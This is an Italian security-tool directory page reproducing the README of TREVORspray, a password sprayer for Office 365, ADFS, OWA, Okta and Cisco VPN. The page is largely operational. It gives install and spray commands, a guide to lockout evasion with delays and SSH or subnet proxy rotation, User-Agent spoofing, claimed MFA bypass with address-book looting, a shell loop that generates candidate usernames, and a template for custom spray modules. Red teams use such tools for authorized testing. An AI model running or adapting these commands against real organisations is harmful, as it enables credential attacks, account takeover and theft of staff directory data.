Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
TREVORspray — Password sprayer modulare con rotazione proxy SSH, bypass MFA e ricognizione del dominio. Supporta O365, ADFS, OWA, Okta, Cisco VPN. Automatizza la validazione delle credenziali e l'estrazione dei dati. | Kitploit
Strumenti/GitHubGitHub/blacklanternsecurity/trevorspray
Bypass WAF
GitHubblacklanternsecurity/trevorspray

TREVORspray

Password sprayer modulare con rotazione proxy SSH, bypass MFA e ricognizione del dominio. Supporta O365, ADFS, OWA, Okta, Cisco VPN. Automatizza la validazione delle credenziali e l'estrazione dei dati.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
1.4k1793 mesi faRevisionato da Kitploit

TREVORspray 2.0

TREVORspray è uno spruzzatore di password modulare con threading, proxy SSH, moduli di loot e altro ancora!

Di @thetechr0mancer

License Python Version

Installazione:

root@kitploit:~
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

Consulta il Post del blog per un divertente sfogo e alcune demo interessanti!

trevorspray-demo

Caratteristiche

  • Thread, molti thread
  • Moduli multipli
    • msol (Office 365)
    • adfs (Active Directory Federation Services)
    • owa (Outlook Web App)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • moduli personalizzati (facili da creare!)
  • Indica lo stato di ogni account: se esiste, è bloccato, ha MFA abilitato, ecc.
  • Annullamento/ripresa automatici (ricorda le combinazioni già tentate in ~/.trevorspray/tried_logins.txt)
  • Proxy round-robin tramite più IP con --ssh o --subnet
  • Riconnessione/riprova automatica infinita se un proxy cade (o se perdi la connessione)
  • Spoofa User-Agent e altre firme per sembrare traffico di autenticazione legittimo
  • Registrazione completa
  • --delay, --jitter e --lockout-delay opzionali tra le richieste per bypassare le contromisure di blocco
  • Supporto IPv6
  • Supporto bypass MFA O365 (disabilita con --no-loot)
    • IMAP
    • SMTP
    • POP
    • EWS (Exchange Web Services) - Recupera automaticamente la GAL (Global Address Book)
    • EAS (Exchange ActiveSync)
      • Bypass consigliato: app BlueMail Android
    • EXO (Exchange Online PowerShell)
    • UM (Exchange Unified Messaging)
    • AutoDiscover - Recupera automaticamente la OAB (Offline Address Book)
    • Accesso al portale Azure
  • Ricognizione del dominio --recon con le seguenti funzionalità:
    • elencare record MX/TXT
    • elencare informazioni O365
      • ID tenant
      • nome tenant
      • altri domini tenant
      • URL SharePoint
      • url di autenticazione, autodiscover, configurazione federazione, ecc.
    • Enumerazione utenti (usa --recon e --users):
      • OneDrive
      • Azure Seamless SSO

Come fare - O365

  • Prima, ottieni una lista di email per corp.com ed esegui uno spray per vedere se la configurazione predefinita funziona. Di solito funziona.
  • Se TREVORspray dice che le email nella tua lista non esistono, non arrenderti. Ottieni il token_endpoint con --recon corp.com. Il token_endpoint è l'URL contro cui eseguirai lo spray (con l'opzione --url).
  • Potrebbe essere necessario un po' di sperimentazione prima di trovare la giusta combinazione di token_endpoint + formato email.
    • Ad esempio, se stai attaccando corp.com, potrebbe non essere così semplice come fare spray su corp.com. Potresti scoprire che la società madre Evilcorp possiede il tenant Azure di Corp, il che significa che devi fare spray contro il token_endpoint di evilcorp.com. Inoltre, potresti scoprire che il dominio interno corp.local viene utilizzato al posto di corp.com.

Esempio: Eseguire una ricognizione su un dominio (recupera informazioni tenant, autodiscover, record MX, ecc.)

root@kitploit:~
trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Esempio: Enumerare utenti tramite OneDrive (nessun login fallito)

root@kitploit:~
trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

Esempio: Fare spray contro l'URL "token_endpoint" scoperto

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Esempio: Fare spray con ritardo di 5 secondi tra le richieste

root@kitploit:~
trevorspray -u [email protected] -p 'Welcome123' --delay 5

Esempio: Fare spray e round-robin tra 3 IP (viene utilizzato anche l'IP corrente, a meno che non sia specificato -n)

root@kitploit:~
trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Esempio: Trovare nomi utente validi senza OSINT >:D

root@kitploit:~
# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Estrarre dati dai file LZX scaricati

Quando TREVORspray bypassa con successo l'MFA e recupera una Offline Address Book (OAB), la rubrica viene scaricata in formato LZX in ~/.trevorspray/loot. LZX è un algoritmo di compressione antico e fastidioso utilizzato da Microsoft.

root@kitploit:~
# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Aiuto:

root@kitploit:~
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d, --delay DELAY     Sleep for this many seconds between requests
  -ld, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j, --jitter JITTER   Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s, --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i, -k, --key KEY     Use this SSH key when connecting to proxy hosts
  -b, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --subnet SUBNET       Subnet to send packets from
  --interface INTERFACE
                        Interface to send packets on

Scrivere i propri moduli Spray

Se hai bisogno di fare spray su un servizio/endpoint non ancora supportato, puoi scrivere il tuo modulo spray! Questa è un'ottima opzione perché i moduli personalizzati beneficiano di tutte le funzionalità di TREVORspray, ad esempio proxy, ritardo, jitter, ecc.

Scrivere il proprio modulo spray è piuttosto semplice. Crea un nuovo file .py in lib/sprayers (es. lib/sprayers/custom_sprayer.py) e crea una classe che eredita da BaseSprayModule. Puoi chiamare la classe come vuoi. Compila il metodo HTTP e qualsiasi altro parametro di cui hai bisogno nelle richieste (puoi fare riferimento a lib/sprayers/base.py o a qualsiasi altro modulo per esempi).

  • Devi implementare solo un metodo nella tua classe personalizzata: check_response(). Questo metodo valuta la risposta HTTP per determinare se il login è stato effettuato con successo.
  • Una volta terminato, puoi utilizzare il modulo spray personalizzato specificando il nome del tuo file python (senza .py) sulla riga di comando, ad esempio trevorspray -m custom_sprayer -u users.txt -p Welcome123.
root@kitploit:~
# Example spray module

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

RICONOSCIMENTI - MOLTE GRAZIE A:

  • @dafthack per aver scritto MSOLSpray
  • @Mrtn9 per il suo porting Python di MSOLSpray
  • @KnappySqwurl per essere uno stregone di Splunk
  • @CarsonSallis per i bypass MFA O365
  • @DrAzureAD per le funzionalità di ricognizione Azure AD (AADInternals)
  • @nyxgeek per l'enumerazione utenti OneDrive (onedrive_user_enum)
  • @gremwell per l'enumerazione utenti Seamless SSO (o365enum)

trevor

#trevorforget

Scarica lo strumento
  • Quindi alla fine, invece di fare spray con [email protected] contro il token_endpoint di corp.com, fai spray con [email protected] contro quello di evilcorp.com.